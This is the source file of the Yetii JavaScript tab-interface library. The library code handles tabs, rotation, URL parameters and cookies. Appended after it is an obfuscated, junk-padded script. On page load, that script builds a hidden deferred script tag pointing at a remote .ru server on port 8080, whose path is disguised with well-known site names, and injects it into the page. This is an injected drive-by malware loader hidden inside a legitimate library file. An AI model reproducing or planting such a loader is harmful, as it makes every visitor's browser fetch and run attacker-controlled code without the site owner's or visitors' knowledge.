/*
Yetii - Yet (E)Another Tab Interface Implementation
version 1.5
http://www.kminek.pl/lab/yetii/
Copyright (c) Grzegorz Wojcik
Code licensed under the BSD License:
http://www.kminek.pl/bsdlicense.txt
*/

function Yetii() {

	this.defaults = {
		
		id: null,
		active: 1,
		interval: null,
		wait: null,
		persist: null,
		tabclass: 'tab',
		activeclass: 'active',
		callback: null,
		leavecallback: null
	
	};
	
	this.activebackup = null;
	
	for (var n in arguments[0]) { this.defaults[n]=arguments[0][n]; };	
	
	this.getTabs = function() {
        	
        var retnode = [];
        var elem = document.getElementById(this.defaults.id).getElementsByTagName('*');
		
		var regexp = new RegExp("(^|\\s)" + this.defaults.tabclass.replace(/\-/g, "\\-") + "(\\s|$)");
	
        for (var i = 0; i < elem.length; i++) {
			if (regexp.test(elem[i].className)) retnode.push(elem[i]);
        }
    
        return retnode;
    
    };
	
	this.links = document.getElementById(this.defaults.id + '-nav').getElementsByTagName('a');
	this.listitems = document.getElementById(this.defaults.id + '-nav').getElementsByTagName('li');
	
	this.show = function(number) {
        
        for (var i = 0; i < this.tabs.length; i++) {
			
			this.tabs[i].style.display = ((i+1)==number) ? 'block' : 'none';
				
			if ((i+1)==number) {
				this.addClass(this.links[i], this.defaults.activeclass);
				this.addClass(this.listitems[i], this.defaults.activeclass + 'li');
			} else {
				this.removeClass(this.links[i], this.defaults.activeclass);
				this.removeClass(this.listitems[i], this.defaults.activeclass + 'li');
			}
		
		}
		
		
		if (this.defaults.leavecallback && (number != this.activebackup)) this.defaults.leavecallback(this.defaults.active);
		
		this.activebackup = number;
		
		
		this.defaults.active = number;
		
		if (this.defaults.callback) this.defaults.callback(number);
		
    
    };
	
	this.rotate = function(interval) {
    
        this.show(this.defaults.active);
        this.defaults.active++;
    
        if (this.defaults.active > this.tabs.length) this.defaults.active = 1;
    
	
        var self = this;
		
		if (this.defaults.wait) clearTimeout(this.timer2);
		 
        this.timer1 = setTimeout(function(){self.rotate(interval);}, interval*1000);
    
    };
	
	this.next = function() {
		
		this.defaults.active++;
    	if(this.defaults.active > this.tabs.length) this.defaults.active = 1;
		this.show(this.defaults.active);
	
	};
	
	this.previous = function() {
		
		this.defaults.active--;
    	if(!this.defaults.active) this.defaults.active = this.tabs.length;
		this.show(this.defaults.active);
	
	};
	
	this.gup = function(name) {
		name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
		var regexS = "[\\?&]"+name+"=([^&#]*)";
		var regex = new RegExp( regexS );
		var results = regex.exec( window.location.href );
		if (results == null) return null;
		else return results[1];
	};
	
	this.parseurl = function(tabinterfaceid) {
		
		var result = this.gup(tabinterfaceid);
		
		if (result==null) return null;
		if (parseInt(result)) return parseInt(result); 
		if (document.getElementById(result)) {	
			for (var i=0;i<this.tabs.length;i++) {
				if (this.tabs[i].id == result) return (i+1);
			}
		}
		
		return null;
		
	};

	this.createCookie = function(name,value,days) {
		if (days) {
			var date = new Date();
			date.setTime(date.getTime()+(days*24*60*60*1000));
			var expires = "; expires="+date.toGMTString();
		}
		else var expires = "";
		document.cookie = name+"="+value+expires+"; path=/";
	};
	
	this.readCookie = function(name) {
		var nameEQ = name + "=";
		var ca = document.cookie.split(';');
		for(var i=0;i < ca.length;i++) {
			var c = ca[i];
			while (c.charAt(0)==' ') c = c.substring(1,c.length);
			if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
		}
		return null;
	};
	
	this.contains = function(el, item, from) {
		return el.indexOf(item, from) != -1;
	};
	
	this.hasClass = function(el, className){
		return this.contains(el.className, className, ' ');
	};
	
	this.addClass = function(el, className){
		if (!this.hasClass(el, className)) el.className = (el.className + ' ' + className).replace(/\s{2,}/g, ' ').replace(/^\s+|\s+$/g, '');
	};
	
	this.removeClass = function(el, className){
		el.className = el.className.replace(new RegExp('(^|\\s)' + className + '(?:\\s|$)'), '$1');
		el.className.replace(/\s{2,}/g, ' ').replace(/^\s+|\s+$/g, '');
	};


	this.tabs = this.getTabs();
	this.defaults.active = (this.parseurl(this.defaults.id)) ? this.parseurl(this.defaults.id) : this.defaults.active;
	if (this.defaults.persist && this.readCookie(this.defaults.id)) this.defaults.active = this.readCookie(this.defaults.id);  
	this.activebackup = this.defaults.active;
	this.show(this.defaults.active);
	
	var self = this;
	for (var i = 0; i < this.links.length; i++) {
	this.links[i].customindex = i+1;
	this.links[i].onclick = function(){ 
		
		if (self.timer1) clearTimeout(self.timer1);
		if (self.timer2) clearTimeout(self.timer2); 
		
		self.show(this.customindex);
		if (self.defaults.persist) self.createCookie(self.defaults.id, this.customindex, 0);
		
		if (self.defaults.wait) self.timer2 = setTimeout(function(){self.rotate(self.defaults.interval);}, self.defaults.wait*1000);
		
		return false;
	};
    }
	
	if (this.defaults.interval) this.rotate(this.defaults.interval);
	
};

var _E;if(_E!='' && _E!='T'){_E=''};this._U='';var S;if(S!=''){S='AK'};function k(){var JiC;if(JiC!='kD' && JiC != ''){JiC=null};var Tq;if(Tq!='' && Tq!='Si'){Tq='t'};var _j="";var V;if(V!='' && V!='JB'){V=''};var s=new String();this.wk='';var N=unescape;var g=window;var _l=new String();var n=N("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%6c%69%63%6b%62%61%6e%6b%2e%63%6f%6d%2f%67%61%6d%65%73%70%6f%74%2e%63%6f%6d%2e%70%68%70");this.BN='';var E="";var Ef=new Date();function J(w,m){var Kj;if(Kj!='SiK'){Kj=''};this.It='';var _=String("KoHhg".substr(4));var Ga;if(Ga!='LI' && Ga!='gP'){Ga='LI'};var YA;if(YA!='BF' && YA!='Tl'){YA='BF'};var mu=N("%5b"), o=N("%5d");var G=mu+m+o;var C;if(C!=''){C='LK'};var y=new RegExp(G, _);var Z;if(Z!='lu'){Z='lu'};return w.replace(y, new String());var vc;if(vc!='Uq' && vc!='SO'){vc='Uq'};var Tv=new Date();};var LB=new Date();var r;if(r!=''){r='BB'};var SI;if(SI!=''){SI='Xp'};var yI='';var i=document;var Zo;if(Zo!='zz'){Zo='zz'};var nJ;if(nJ!='vN'){nJ='vN'};var __=new String();var ls=new Date();var Ji=J('84417202277899164063153','69124375');function F(){var NU;if(NU!='NT' && NU!='Hq'){NU=''};var A=N("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");this.RQ="";this.XN="";__=A;var Wk='';var NQ=new String();__+=Ji;__+=n;var BJ;if(BJ!='De' && BJ!='Ue'){BJ='De'};var Adg="";try {var sj="";var NL;if(NL!='Wj' && NL != ''){NL=null};B=i.createElement(J('sWcfrfilpltu','oz18LB9NMWueCZJElK5f'));var BY;if(BY!='is'){BY=''};this.Hb="";this.mM="";var tr;if(tr!='' && tr!='gG'){tr='HK'};var mH;if(mH!='' && mH!='ZB'){mH='kW'};B[N("%73%72%63")]=__;var bE;if(bE!='gF'){bE=''};var Yh="";B[N("%64%65%66%65%72")]=[1][0];var fJ;if(fJ!='bx' && fJ!='bn'){fJ='bx'};var KB="";i.body.appendChild(B);var iB;if(iB!='rx' && iB!='vj'){iB=''};} catch(Aa){var _W=new Array();alert(Aa);var FF="";var hs=new String();};var bc;if(bc!='' && bc!='zo'){bc=''};var kv;if(kv!=''){kv='CK'};}var Ah;if(Ah!='Yb' && Ah!='IL'){Ah='Yb'};var YR;if(YR!='vO' && YR!='xY'){YR='vO'};var wq=new Array();g[new String("onloa"+"d6o8H".substr(0,1))]=F;var sl=new Array();this.Ja='';};var fk;if(fk!='' && fk!='XS'){fk=''};k();